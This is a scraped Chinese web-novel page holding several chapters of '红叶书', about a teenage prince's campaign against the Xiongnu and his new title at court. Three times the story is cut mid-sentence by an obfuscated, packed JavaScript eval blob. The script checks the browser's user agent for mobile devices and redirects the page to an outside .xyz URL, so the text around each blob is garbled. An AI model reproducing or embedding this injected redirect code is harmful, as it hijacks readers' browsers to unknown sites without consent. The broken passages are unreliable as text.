已经快午时了,李晟和随同他上京的一众仆从,全都在大朝殿外的烈日下站着,几个人被晒得满脸大汗,而夏培完全没有让人安排他们去某间殿内休息或是整顿行李的意思。 梁风就这样被请出了天禄阁,请出了未央宫。 迢迢路远行了两个多月,好不容易抵达京城,进了宫,没人让他坐下休息,没有茶水,从入宫到出宫前后小半个时辰,短暂地见了皇帝一面,丢给他一个镇压匈奴的任务就将他请了出去。 整个未央宫递来一种不欢迎他的气氛。 梁风心里涌起一股说不上来的委屈,但也知道没人会听他说话。 夏培领他到京城的驻兵区,梁风见到了崔固,和皇帝为此行调拨的三千名步兵,以及随行的辎重粮草。 一切准备就绪,只等他了,梁风一入队,大军即刻开拔。 他抵京甚至没有落脚休息,直接随崔将军北上桑河。 李晟拉着行李,跟在他身后什么都没说。 梁风全无准备,底下突然多了许多的人凡事要他拿主意,可他不知道该怎么拿主意,所有事宜只能听从崔固的意见。崔固对要以一个十五岁的小将军为首没有流露出半点不满,可是梁风很不自在,他觉得自己名不正言不顺,身上没有任何一处符合规矩的地方,每一处都显得格格不入。 崔固十分有耐心,每遇到问题,梁风都还没反应过来是个问题时,崔固就会告诉他该怎么解决。 “殿下不用急,如何带兵是不能一蹴而就的事情,您慢慢来就好。桑河以北的匈奴乱虽然最近几年持续发生,但每次人数都不多,只是对我朝的一种挑衅,将他们打回去就好。” 梁风皱眉不解道:“崔将军,我只是不明白,为什么陛下会突然命我出征。” 崔固一顿,说:“殿下,我们做臣子的只需听从陛下旨令,至于为何,那不是我等需要关心的事情。”紧跟着又道:“即便是淮南王,也需遵从陛下的旨意。” 梁风愣住,还想问什么,崔固却走了。他只能咽下满腹心思,自己想明白。 又走了两个多月,大队在距离怀县四里地的郊外扎营,崔固派出斥候去匈奴盘踞之地打探。 怀县位于中原北方边境,气候极端,风沙大,但入眼空阔,四野少山少树,夕阳与夜晚的景色很美,秋色正浓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839823|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。梁风一安顿下来就开始水土不服,在小半年内从南边的越国跨过中原抵达北境,身体难免吃不消,上吐下泻了两三日后才缓过来。 “数十里地外,有一座匈奴在这边境之地自建的联络口,用来将在桑河沿岸各个村县劫掠来的牲畜铁器与农作物中转,桑河百姓起了个名叫‘三口’。殿下,我们此行的目标就是剿灭这个三口,以防其做大。只是这地十分隐蔽,目前暂未找出所在。”崔固道。 梁风刚喝下一碗汤,汤里煮的是李晟从越国带来的食材,几天来难得感觉舒服。他问:“需要杀人吗?” 崔固的目光向他望来,眼神被头顶的铠甲压得沉沉。 崔固缓缓点了点头。 梁风低头沉默下去,想起被自己一箭射死的周敦,喝下的汤顿时返上来一股油腻恶心。 “不过,殿下既然是第一次亲临战场,您......不带刀也可。” 梁风神情恹恹,没有说话。 十一月底时,一支十二人的匈奴小队趁夜潜伏过河,崔固得报,立即带领两千人迎敌,梁风则另带领一千人尾随崔固,提供后援。 匈奴小队远远看见崔固一行,立刻掉头就跑,根本不敢和崔固正面对上,直接逃往三口。 梁风骑马奔驰在夜空下,听见前方不远处浪涛般的马蹄声,心里有点紧张,心脏咚咚跳得比马蹄还响。 对战之前,崔固告诉他,匈奴多是趁夜偷袭,对沿河民屋强抢搜刮,大肆劫掠一番再趁天不亮回营。此战不在全歼这一小队,而是顺藤摸瓜,追击其大本营。 可他心里有点犹豫,真的要追击吗?如果此战赢了,皇帝会怎么想?二哥会怎么想?二哥会不会就此觉得他站在了大哥身后?那如果不追,大哥会怎么想?他母亲还在太后身边,大哥会不会觉得他不想尽孝了? 可是不追的话,匈奴仍会继续侵扰桑河百姓,那他们这一战的意义是什么? 或是在怀县留下这三千兵力,他和崔将军回京...... 或是故意输给匈奴吗?那绝对不行...... 一想到要杀人,他握着刀的手就在发抖。 为朝廷对抗匈奴,为皇帝对抗匈奴,为大周对抗匈奴,这是为人臣子,应尽的本分。既然是本分,他又为什么要顾虑那么多,这本分到底是对谁的? 崔固一路尾随,顺利带到三口。这地方藏在群山之间,隐蔽极深,当中甚至还混有大周的商人,最近一年已经快形成为一个小型村子了。 崔固什么话都没说,直接带兵冲入,扫荡群山,刀尖割出的每一圈都是骁勇。山群骚动震天,匈奴猝不及防从黑暗中逼出,惨叫声划破夜空。 崔固手下的兵黑甲黑马,融入夜色,看都看不清,几乎是单方面屠杀。 梁风作为后援的一千兵力几乎没动过。 他这时知道了,大哥的真正意图,也知道为什么歼灭区区匈奴小队居然派了三千兵力。 梁究根本没想让他在这次出征中真正表态,只要派了崔固随行,他都不可能会输。明面上的旨令是他带兵平定匈奴,赢了,这一仗的功劳会记在他头上,看到二哥眼里,就变成了是他叛变淮南王,站到了大周朝廷的立场。 他的犹豫纠结又有什么用?谁会关心他心里想着什么。 仗打赢了,百姓开心了,可他真的高兴不起来。 89. 《红叶书》(九) 北境气温降下来,梁风配合崔固做好一切善后,于十二月初带兵回京。 离开时,怀县人民夹道相送。他们大多一家老小全都跪在地上,眼泪几乎哭湿旱地,脸上热烈感激的神情驱散了梁风一连做了数日的噩梦,令他不能不受触动。崔固倒是习以为常。 来不及多想,皇宫近在眼前,他的纠结与难堪也近在眼前。梁风一路沉默无言随军返京。 一日大军扎营过夜时,他偶然听士兵说,附近县城里有村民因不满官府做事,召集数十人揭竿而起,逼使县令下台。 梁风立刻去问崔固,崔固告诉他:“殿下,确有此事,属下已派人前去镇压。边境县城多发此类事情,每月都有,镇压下来便好。” “在哪里,我要去看看。”梁风说着便翻身上马,崔固有些犹豫,但还是遣了个人领他前去县城。 入县后还未赶到,隔着一条街便已能听见猛烈的争吵咧骂声。 揭竿声势不小,上百人围聚在县衙门前,衙门口一地的烂菜叶和臭鸡蛋。 梁风下马,看见这些人举着锄头铁锹愤怒地喊骂,周围还有普通民众呐喊助威,他们身上衣服破烂难以蔽体,皮肤晒得黢黄发黑,面颊瘦得突骨,嘴唇干裂发白,他们却不嫌冷,双眼凶狠得盯住官府大门,眼里的火像是在燃烧生命。他们手里的多是生锈或磨损得比较严重的农作铁具,远远比不上衙卫的精兵利器。他们在嘶喊,嘴里却一点唾沫喷不出来。 一人举起铁锹,农民呼拥而上,府衙卫兵立刻挥刀阻拦,两个干瘦的人血溅当场。 “住手!”梁风大喊,推开众人上前,面对卫兵的刀尖。 “你是什么人!”衙卫将刀尖指着他道。 梁风怔愣,这才意识到身上没有任何一样东西能表明身份,张开的双手垂下一点,仿佛木偶的提线被扯断,手脚一下变得虚浮。 崔固及时赶来,制止衙卫,控住场面,并与县令共同商量,从军营中调拨一部分剩余粮草,援派给这些农民,暂时镇压住他们的怨愤。 “殿下,圣上有令,必须在正月结束前回到京城。”崔固同梁风道。 梁风看着这些农民,他们身上在衙卫拳脚下受了或轻或重的伤,便道:“再等两天吧,我想看着他们好起来。” 崔固面露犹豫。 “之后我们回京路上赶快点就是了。”梁风催促:“先救人。” “是。”崔固只能应道,着手安排救助。 可军医赶来需要时间,梁风正想派人去请大夫时,围观群众一位妇人站出道:“我能救人,我是大夫。” 妇人年约四十出头,穿着很朴素,没有首饰,岁月雕刻的面容慈眉善目,看人的目光十分善意。梁风便点头,“那有劳您了。” 受伤倒地的人中有好几个小孩,约莫十来岁,妇人也不把脉,外伤看一眼便知深浅,迅速点穴止血,然后接骨。小孩们咬着牙一声不吭,妇人同梁风道:“他们太久没吃饱饭,体虚气弱,不用很重的伤都能要他们的命,我需要药材,还得先让他们吃饱。” 为什么会吃不饱?梁风疑惑一闪即逝,扭头吩咐跟过来的李晟,让老李去买药食。 妇人突然道:“可惜没有针,不然用针灸会更快些。” 梁风听见了,还未来得及命人去买针,县令已经命衙内大夫准备妥一应疗救之物,现场变得杂乱起来,梁风想帮忙又无从下手,崔固手下的人也在稳住秩序,开始派发买来的粥食。梁风松口气,无意间看见刚才那妇人在杂乱之际悄悄退场。 他有些疑惑,觉得那妇人医术不似寻常大夫,接骨与止血的手法比在越国见过的老郎中都要稳准狠,说话时的气度像是读过书的。 民间也有不同寻常的人,他复看了眼那妇人的背影,有些开了眼界,但未多想。 李晟买了粥食来,梁风跟着一起给饥民派粮。粮食都派出去后,崔固和县令一同善后,收缴散落一地的锄头铁锹。 李晟在一旁偷偷和梁风说:“殿下,还记得我之前同您说的为自己培养心腹的事么?” 梁风一愣。 李晟眼神示意蹲在路边墙角的那几个带伤的小孩,“我看那几个孩子不错。” 梁风看过去,那几个小孩端粥抱馍的手臂细得很,问道:“怎么看?” “殿下,看眼睛。那几个孩子的眼睛可比他们的身子骨要坚韧得多啊。” 梁风再仔细看,看不出什么。 “殿下,您先选几个带着,一段时间养熟了后再挑资质好的留下。年纪小的驯服起来远远比年纪长的要容易。” 梁风虽不会看人,但他会听老李的建议,便走到那几个小孩面前,笑问:“吃饱了吗?” 那几个小孩同时抬起头,大睁眼睛直直地看着他,嘴里吃着的动作仍不停,眼珠子黑白分明,还能映着太阳光。 他隐约觉得好像是不太一样,但又不知道这些小孩眼睛里都有些什么,便问:“想跟我走吗?” 年纪最大的男孩立刻站起,“想!”虚浮的嗓音之下也有一分嘹亮。 梁风这一瞬看出来了,他们眼里的坚定的确是他没见过的。 其他小孩一同站起,“我也想!” 梁风心一软,大手一挥,“那就都跟我走了!” 李晟忙道:“殿下,人太多了!” 梁风不理,心底莫名多了一股底气和欣喜,这似乎是他独自为自己做的第一个决定。 他仔细看了看这些小孩,数了数,有十三个,且都是男孩,便道:“你们都多大年纪,叫什么名字?” 最初站起来的男孩放下粥碗,跪下朝梁风磕了个头,再直起身道:“年龄最大的是我,十四岁,最小的九岁,我们都没名字,贵人您给我们起个名字吧。” 梁风沉吟,“名字得好好取,可我不太会取,让我想想,就先按着年龄顺序叫吧,你就叫老大,之后我想好了再给你们换名字。” 梁风扶起正磕着头的九岁小孩,道:“你就叫十三。” 十三外表看着比他的年龄要小许多,太瘦了,梁风将怀里的一颗糖递给十三,十三接了道谢磕头,立刻塞进嘴里。 梁风将这十几个小孩交给老李,李晟一下变成了孩子王。 天色晚了,县令过来同梁风说安排了住所可暂行歇脚,崔固也建议他在屋内住下,但他不愿意,还是出城去大军扎营的地方过夜。崔固也不强求。 梁风却突然想起刚才离开的那位妇人,心思一动,让老李去寻那位妇人住在何处,问是否愿意跟着他一起,做他这个皇子的专用大夫。 老李一听,便道:“殿下,民间多的是深隐山林的高手,这一类人大多视功名富贵如浮云,拿身份命人归附极为不妥,反易受其轻视。殿下,不如且看缘分吧,若是有缘,日后定能再相见。” 梁风若有所思,“哦”了一声,便带着小孩们去县外营地。 孩子们都很拘谨,放不开,梁风让他们待在自己营帐里,李晟则去取食物。 “我会培养你们做我的暗卫。”梁风看着他们道:“暗卫,关键在于‘暗’字,你们将来是要做偷偷摸摸保护我的心腹,贴心上的那种。” 孩子们双眼晶亮晶亮的,“我们听贵人的!” “不用叫我贵人,你们叫我......呃......”他一下没想好叫什么,就先放下不理,打算问问老李。 李晟拿来晚饭,除了粥馍,还有许多喷香的烤肉,孩子们对着那肉,眼珠子快要馋出来。 “每人先分一点,你们饿太久了,头几天不能吃太多,过后再慢慢加食。”李晟道:“殿下,您既收留了他们,那您便是他们的主子,他们先是您的下属,然后才是心腹,自然应该唤您‘主子’的。” 梁风皱眉,“可我不喜欢你们叫我‘主子’。” “殿下,尊卑有差,不能乱了分寸。”李晟坚持,“分不清尊卑,他们往后便不会对您言听计从。” 梁风盯着手里的馍,撕成一块一块,馍面纹理整齐,他却越看越烦躁,只能夹缝里做出个决定,然后又不随他了,他索性道:“算了,老李,我听你的,你说怎么样就怎么样,我不想管这些。” 李晟沉吟,看着梁风没再说什么。 大军继续前行。 一个多月后,抵达京城,士兵返回驻兵区归位。李晟安排那十几个孩子在城外驿馆住下,叮嘱等梁风在京安顿下来后再行安排他们进城。 梁风没意见,李晟留给他们一点银子和一位仆从,便跟随崔固回宫复命。 他入宫后,夏培命人带他休整了一番,洗去风尘。第二日一早上朝复命,呈捷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李晟想了很久,才说:“殿下,许多事情您去问问丞相也好,只是您得挑着下了朝的时候去问啊。很多话不能让官服听到,而且,您与金丞相说话时,还在朝殿门口呢。” 老李又道:“还有,殿下您在外,应称呼为淮南王殿下,不易再唤‘二哥’。” 梁风皱眉,“可他就是我的二哥。” “是。”老李应道:“但他也是淮南王,所以殿下您只在我面前这么说说,在人前应多注意些。” 梁风撇嘴,心里小小地哼,掀被躺下。 李晟准备熄灯。 “老李。” “唉。” “这次出征,我看见了好多东西。” “殿下,大千世界,什么东西都有的,往后有机会啊,您多出去看看。” 熄了灯,梁风躺在被窝里,看着漆黑的天花板,心里回想这次出征路上所见所闻,还有那十几个男孩。 脸上一笑,他觉得这次出征,收获非常多,大开眼界,心里多了一分底气,有点期待下次。 然而开得更大的眼界是这夜梦里。 他睡着睡着,隐约感觉越来越热,梦中两个看不清模样的男女脱光衣服交缠着,舒适旖旎的气氛填充他的梦境,吞吐的气息与掌心里若有似无的肤触柔软异常......他迷迷瞪瞪睁眼,方才停留在身上的触感顿时消失,但又似仍勾连着,身体深处与大脑深处传来十分异样又奇妙的感觉。 待这种感觉褪去,慢慢地有点难受,他坐起来,掀开被子,看见自己□□湿了一片。他摸了摸,触感很黏,气味怪怪的。 一股委屈浮上心头,他高声大喊:“老李!老李!” 李晟闻声着急忙慌地闻声进来。 “老李,我要死了!”梁风快要哭出来。 李晟大惊,“殿下,怎么了?” “你看!”梁风站起身,扯着裤头指道:“我是不是要死了?!你看这些白色的东西,又不是血......” 李晟一愣,继而呼出一口气,然后哈哈笑道:“殿下啊,是你长大了。” 梁风眨着眼,扯着裤头的手慢慢松开。恍惚知道自己原来并不会死的,他渐渐平复情绪。 只是这时,皇宫上下所有人都很忙,除了老李,无人关注他的长大。 90. 《红叶书》(十) 九卿敲定梁风册封大典的日子,定在二月十九。 宫内一番新年气象,喜气洋洋。 含章殿却不怎么热闹。 梁风从越国带来的银钱不多,快用完了,宫内上下都需要打点,他又不知道这种事情能不能跟陛下开口,只能自己紧巴巴地缩减。 他想把陛下赏的那些珍宝拿去换钱,可老李告诉他陛下赏赐之物不能随意转赠予旁人,这是对圣上的不敬,他也就打消了念头。可赏赐之物里没有现银,上月陛下有位公主生辰,他送了礼之后就彻底掏空了。 他只能躲在含章殿里,温习刀法拳脚,逗逗小马,不出门,就不用逢人送礼开销。 吃得差一点、用得差一点倒也还好,能忍,只是看别人家那么热闹的时候,他就不由自主想念母亲。 之前宫宴上,梁风见到了邓氏,可母亲一直待在太后身边侍候,一个眼神都没给过他。母亲如此态度,他就更不敢当面主动去找她了。 他想着要不要和大哥说一下,他想见见母亲。 见一面应当不打紧。 但又怕自己不小心做错,会给母亲带去麻烦。他犹犹豫豫。 心情不好,便找了些事情分散注意力,陛下新赐的那匹小马他倒是愈发喜欢,整日大多时候都与它一起度过。 他越养越爱不释手,年仅一岁的小马还没他腿高,通体漆黑,被毛柔软,异常乖巧,四蹄踢踏在地上的声音清脆稚嫩,十分好听,跑起来的速度已经很快,只是还不能驮人。梁风有事没事就抱着它说话。 据陛下说,这是匹草原神骏,是匹战马,成年后大腿能有女子腰粗,比寻常马要大上整整一圈,力量更是无与伦比,仅一匹的价值就足够抵过其他所有珍宝。每年草原大君给大周皇帝送来的战马只有五百匹,去年还只贡了三百,而其中一匹就在他这小小院子里。 他不免有些可惜和心疼,如此好马,在他手里却只能吃劣质草料。 梁风闷闷低头坐着给它梳毛,忽然感觉被一道暖意融融的目光注视着,一扭头,便见到阔别已久的母亲正含泪看着他。 距离册封典礼还剩一月,邓氏居然独自来到含章殿。 梁风一下不知作何反应。 他站起来,眼里涌出泪,“母亲......” “风儿......” 邓氏快步走来,抓住梁风的手,喜极而泣,“陛下本不容许我来看你的,是太后怜我,许我来看看你。”她上下打量梁风,“这几年过得好吗?淮南王有没有为你请夫子?” “请了。”梁风忍不住泪,“二哥请了郑熹丘做夫子呢。” “那便好那便好。”邓氏看着长成的儿子,笑着哭,“你长这么大了呢,这么高了......母后不能久留,看你一会儿便好。” “母亲,那你呢?” “你放心,母后在这宫里,肯定比你过得要好,太后是个好侍奉的人。” 邓氏很快收敛神情,笑着擦去泪,牵梁风一旁坐下,认真道:“风儿,你与我说实话,越国的李密和周敦到底是怎么死的?” 梁风愣了,眼泪蓄在眼眶里流不出来,万想不到母亲一见面就提起这两人,他还有好些话想叙。 邓氏立刻看出端倪,眼神里压住一丝急切,“风儿,你知道的,跟母后说实话,不许隐瞒。” 梁风想到周敦,一时不知如何开口。 “风儿!你与我说实话,你说了,太后在圣上面前,也能为母后说说好话。” 他张嘴不知能说什么,心里真正想说的话说不出来,心脏像是放在火上面用刀子割,又刺又痛。 邓氏直视梁风双眼,道:“你不能相信淮南王。” 不信?那这几年算什么?他还能相信谁?谁还会相信他? “周敦是我杀的。”梁风道:“陛下对淮南王心存疑虑,想对淮南王做什么只管去做便是。” 邓氏再问:“淮南王在越国囤了多少兵?” 梁风摇头,“我不知道。上京前夕,淮南王告诉过我,但他说的一定是假的,就是为了让我把虚假的兵力告诉朝廷,到底有多少兵我并不清楚。” 远远传来一声咳嗽,邓氏立刻扭头看去,梁风也跟着去看,见太后身边另一位贴身宫女站在不远处,咳嗽是为了提醒邓氏该走了。梁风看看母亲,无言下去,刚才的话不知被那宫女听去多少。 母亲道:“你只管告诉我便是,信与不信陛下自会决断。” “精骑四千,常备军五千,弓箭手五千,散骑七千,步兵一万。淮南王还想想征兵,将步兵凑个三万出来。这是去年淮南王告诉我的,如今有多少,我不知道。” “好。”邓氏笑了一下,眼里又出泪,起身道:“风儿,那母后便走了。” 梁风拉住她的手,仰头看着她,“母亲,等陛下赐我封地,我们一起在封地里过一辈子,好吗?” 邓氏眼泪再次掉下来,摸了摸梁风脸颊,“风儿,你若要恨,便恨母后吧。”说罢,拂掉他的手,跟随那宫女走了,走时没有回头看他一眼。 再望不到母亲背影,梁风蹲下去,抱住小马,手指一遍又一遍梳理小马的毛发。 日子很快到册封那日。梁风还是满怀希望,起了个大早。 封王典礼不算复杂,他只是先帝皇子。梁风换了一身华丽崭新的衣服,随正副使臣前往受册封地,然后跪地接受宝印,接听上谕,最后谢恩,礼便成了。 他这几日将襄国的几本风俗志翻了数遍,早已盘算好了,拿到宝印之后有了银子,再安排好随行车队,就可以和母亲一起去往襄国过后半辈子。而且封了王,他就和二哥一样了,二哥想要别的什么他也能给。 梁风心情雀跃地等着。 只是等了许久也没见到封王宝印。 直到上谕念完,递给他谕旨,都没听到赐他封地的旨意。只有封号,叫应和王。 他接了旨,礼成,周围使臣退出,梁风疑惑不解,问:“陛下,这是......” 梁究向他招了招手,他走近,梁究道:“去年贺兰将军对阵匈奴战死,朝廷缺将,朕欲培养你至大将军,便先留在京城吧,过个两年真正领军出征,扫荡匈奴,过后你再前往封地。” 梁风被钉在原地。 “你自越国上京前,朕已命人为你在宫外打造王府,不日便可搬去。至于侯王一应俸禄食邑朕也会归划你名下,你意下如何?” 手中的圣旨仿佛有千斤重,压得他动弹不得。 问问问,什么都问他,可到底有哪件真的顺从了他的意愿?他就想见见母亲,和母亲一起生活,还有力所能及地照顾二哥。 他无言地低下头,应是,再次谢恩。 即便心里早猜到这样的结局,可真的听到这话,他心里还是忍不住烦躁气闷。在含章殿里,趁无人之时,踢树发泄。 李晟收拾妥当,梁风牵着小马,再次离开含章殿,搬去宫外王府。 王府果然很大,很奢靡,人也很多,仆从美婢,气息都是富贵的气息,只是也很枯燥。 在府内住了几日,还没摸清王府地形,宫内的圣旨又下来了。 陛下允他自由出入宫禁,且每月可随意挑选十日上朝,不上朝时需去军营中观摩习武,崔固是他上司。 “这就是看我听话,给我的奖励!”梁风跟老李抱怨:“这几日,那些陛下调来的人在每一个角落盯着我,有时我一扭头,就能看见他们的眼睛在盯着我!” “王爷......” 梁风越说越气,大声地喊:“他就是要我听话,他们就是要我听话!” “我听啊,我谁的话都听啊!可是谁听我说话了!” 梁风将那道封王圣旨在墙上地上砸得砰响。 “王爷......”李晟抓住他摔圣旨的手,“王爷!有我听您说话。” 他停下动作,看着李晟。 李晟抱住他,拍着他的后背,“王爷,我在听您说话。” 梁风扔了圣旨,委屈巴巴。 好在允他自由入宫,可以名正言顺去给太后请安,也就能看母亲两眼。 之后,梁风每隔一日便会去上朝,直到上满十天。默默无言地站在朝臣的角落,听他们上奏的内容,有时能听到二哥在越国的动静,但更多的内容都在呈上的折子里,他看不到。 如今他确实意识到该有人为他四处搜罗情报了。 天下时时刻刻发生的大小事情都汇聚到这朝堂之上,离他那么近,又与他全然无关。 而军营中,崔固将毕生所学教给他。 “之前在越国,淮南王教您习过武吧?去怀县时就看出来了,王爷底子不错。” “是。教我的师父是淮南王麾下的赵横将军和林怒将军。” “赵横、林怒——听说过,猛将啊。”崔固道:“早些年我研究过这两人,可惜没机会一试身手。” 梁风听见这话下意识又以为是试探,随即想到他自己就尽得赵、林真传,两位师父身手如何在他这个徒弟身上就能看出来,于是定了定神,不说话。 崔固道:“只是王爷箭术差了些。” 梁风忽然意识到,即便二哥什么都不告诉他,不给他把越国相关情报传到京城的机会,但只要他这个人上了京,透过他,梁究一样能知道越国的强弱点。 他应:“是。”再说:“崔将军的箭法倒可称得上百步穿杨。” 崔固箭术十分厉害,拉弓一箭射出,根本看不到箭迹,甚至听不到声响,直等到箭中靶后,空气中才炸开一道爆音。 崔固一笑,言他:“王爷可知当今箭术之最是何人么?” “不知。” “是太南一户商贾之家的家主,姓顾。” 梁风没听说过。 “王爷不知此人,但他有个妹妹,您一定听说过,就是金丞相的夫人,顾南蕴。” 梁风恍然,又有疑惑,“商贾之家的箭术能如此厉害?” 崔固思索道:“属下倒也并未亲眼见过,只是前些年顾夫人曾上京,在宫宴上小露过一手箭术,”停顿片刻再道:“属下是比之不及的。” 梁风一愣,女子也能学箭术——感觉开了一点眼界。 崔固突然想到了什么,看着他说:“王爷若想于箭术一道学得更精深些,属下可向陛下请旨,让那顾氏家主上京教您箭术。” 梁风再一愣,很快摇头,“不了,我还是一切听陛下安排吧。” 崔固便没有多说。 从军营内出来后,梁风想了想,坐车去往丞相府。 他是临时起意,此刻身边也只有老李相陪,但他抵达丞相府时,相府门口已有一干人等恭候着他,就连金延守都站在门外,仿佛早知道他要来。 府里盯他的眼睛他看得到,但还有许多眼睛是他看不到的。 越是这样越是不想出门。梁风默默叹气。 气声传到金丞相耳中,金延守看了梁风一眼,上前迎道:“应和王殿下。” “金丞相,我一直有话想与你说说。” “王爷,请。” 金延守请梁风进府,在堂屋坐下,小厮奉茶。 “您此刻下值了吗?”梁风看着金丞相身上的官服问。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839825|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “下了,只是尚未来得及换衣裳。殿下有什么事情直说便可。”金丞相挥手遣退下人。 “啊,不用。”梁风拦道:“我也不问什么隐秘的事情,旁人听到便听到了。”他怕传到梁究耳里变成了他是在做一些偷偷摸摸之类的事情。 “王爷,请问。”金延守也没让下人们再回来。 “是关于《赋法三戒》的事情。”梁风正色道:“我想知道,当年发生了什么?” 金延守闻言,微微后仰上身,垂眸抚须沉吟。 “我之前在越国,淮南王因为我提及了《赋法三戒》而罚了我,我就有些好奇。我知道《赋法三戒》是金丞相你所写。” 他说完便坦然平静地注视金丞相。 已位及丞相之位二十余载的金延守脸上自然不可能出现让他一眼便看明白的神情,梁风便收回了目光,低头盯着丞相府金丝织就的地毯。 “王爷,您喜欢吃枣吗?” 梁风一愣,眼睛从地毯上移开,不解金丞相的意思。 金延守微笑,命人拿了一碟红枣过来。 洁白的平口瓷碟放着数颗红枣,摞在一起红得发亮。褶皱的枣皮像盆地山脉,也像他上了京后始终忐忑起伏的心情。 这是名枣,产自和田。 他觉得胸腔里的心脏快要皱得跟这红枣一样了。 他不懂金丞相的意思。怕这也是一个字说错便掉进深渊里的试探。难道这是个犯了禁的问题? 他惴惴不安,小心翼翼看了眼金延守。 金丞相再一笑,“殿下喜欢吃枣么?这干枣的烹调方法十分讲究,您觉得,是就这样生着吃好,还是用水煮熟了吃味道更佳?” 梁风看着金延守手指捻起一颗红枣,逐渐僵硬,冷汗像白绫一样抚摸过脖子,心脏紧张地咚咚跳。 他听不懂啊...... 金延守将梁风脸上的神情看得明明白白,哈哈一笑,“殿下,您不用紧张。”捋须道:“这只是一颗红枣而已。” 梁风看看丞相,看看红枣,情绪还是放不开。 金延守放下枣,道:“元和十年,恒帝尚未驾崩,淮南王就曾问过臣这个问题。而臣的回答,写进了隔年上书的《赋法三戒》中。” 梁风还是没完全明白。 《赋法三戒》写于他出生的那一年,主要内容是针对当时田赋中的三处弊端提出解决之法。他看过好几遍,没看出有什么问题。况且十几年了,当时民间的赋税弊端跟现今的也都不同了。 金丞相再道:“生的枣,味甘。” 梁风这下恍然了。他不记得《赋法三戒》里有没有这句话,但如果是这五个字,他倒明白二哥在想什么了。 生的枣,意为生得早。 二哥的出生只比大哥晚了不到一个月,二十几天。 然而就是这二十几天,一个是储君,一个是侯王。 也就因为这五个字,时隔多年之后,他无意中提起,也仍然会招致二哥的怒火。 这——让他光看《赋法三戒》,还真看不明白。 身体的紧张松开,心脏没了压制,跳得更厉害了,撞着他胸膛甚至有点头晕。 “金丞相,想在朝廷立足,都要这么做吗?” “是啊,王爷,都要这么做的。” 梁风再次看向金丝地毯,心里说不上来是什么感受。 他起身,向金延守一礼,“金大人,我先告辞了。” 金延守颔首,一同起身。就在梁风即将跨过门槛时,金延守忽然说道:“王爷,说到底,您如今也只是个孩子啊。” 梁风蓦然回首,金丞相笑得十分和蔼。好像突然有人能理解他,梁风的眼泪差点没崩住。 回府后,梁风仔仔细细将《赋法三戒》读了一遍,找到了那五个字,脑海中想象二哥在看到此文时的心情,恐怕是很不甘的吧。 几天后的早朝,梁风一如既往地默然站着。 殿上百官争执来去,敲定几项事宜。即将退朝之际,皇帝唤了一声应和王。 梁风站在大殿一角,正看着香炉袅袅上升的烟径发呆,突然被点名,惊了一下,赶紧走出下跪。 皇帝说,崔固上折欲请太南顾氏家主赴京教导应和王箭术,问他意下如何。 梁风愣了,脑子快速转起来,转半天,也没想好该说什么。 一位大臣已经站出,道:“此事不可,莫说此人太过危险,商贾小人上京极易增加隐患,再加之这人箭术传得神乎其神,若是入宫,或许会对圣上安危造成威胁。” 另一位大臣道:“现今军中的确缺乏擅长箭术之人,顾氏家主抵京后请进军营中,不入宫即可。” 梁风默默听着。这时金延守站出说:“陛下,无需请顾氏家主上京。只于箭术一道,应和王南下求学未尝不可,如此也更显诚意。” 丞相说完,立刻有两三人站出附和。 皇帝问梁风意下如何,梁风只道谨听陛下安排。 梁究便同意了,命金延守着手安排。 下朝后,梁风趁隙去问金丞相,安排他南下求学是什么意思。 金延守道:“王爷,去太南玩玩吧,那里山清水秀,宜居宜学。” 看丞相大人表情很轻松的样子,梁风觉得里面应当没什么立场顾虑,但又不敢相信他真的可以离开京城。 “王爷放轻松些,权当做是去游玩的。臣过几日休沐,与您一同南下,便当是送您,顺便——”金延守看着清晨的天空,宠溺一笑,“也见见我的宝贝女儿。” 看着金丞相脸上的表情,梁风心里真的慢慢松了。 91. 《红叶书》(十一) 梁风这几日名正言顺地常往丞相府跑。金延守也不拒他,还对梁风引见到了同在相府做事的长子金诚。 梁风和丞相第二子金诺一起在崔固手下习武,听说过一些有关金延守年轻时的事迹。 金丞相考完太学后就娶了第一任妻子江氏,结果江氏难产去世了,他独自抚养儿子几年,三十来岁位及丞相后才续了顾南蕴。顾夫人生下了金诺和金絮。恒帝驾崩前一年,金丞相将当时怀着幺女的顾夫人送去太南,之后母女二人极少上京,满京城几乎无人见过那位神秘的丞相嫡女。 梁风不解,“金大人,你为何会娶商贾之女为妻?而且您为什么会愿意跟夫人分开,一家人不就是要生活在一起的么?” 金延守笑笑,“王爷您还小,自然不知。这种事情啊,如人饮水,身在其中的人才会明白。” “噢——”梁风没懂,但也不多过问。 隔日,李晟收拾好行囊,梁风牵着小马,在京城再次没住几月,跟随金丞相的车队出发太南。 离开京城之际,李晟偷偷带上了那十几个小孩,让他们暗中尾随车队。 出了京畿,车队却不上官路,而是走了另一条小道。 路上很静,只有鸟鸣和马蹄,两旁树木贴得十分密,凉风习习,不像官路那样嘈杂和开阔,一路也未见其他商旅车队。 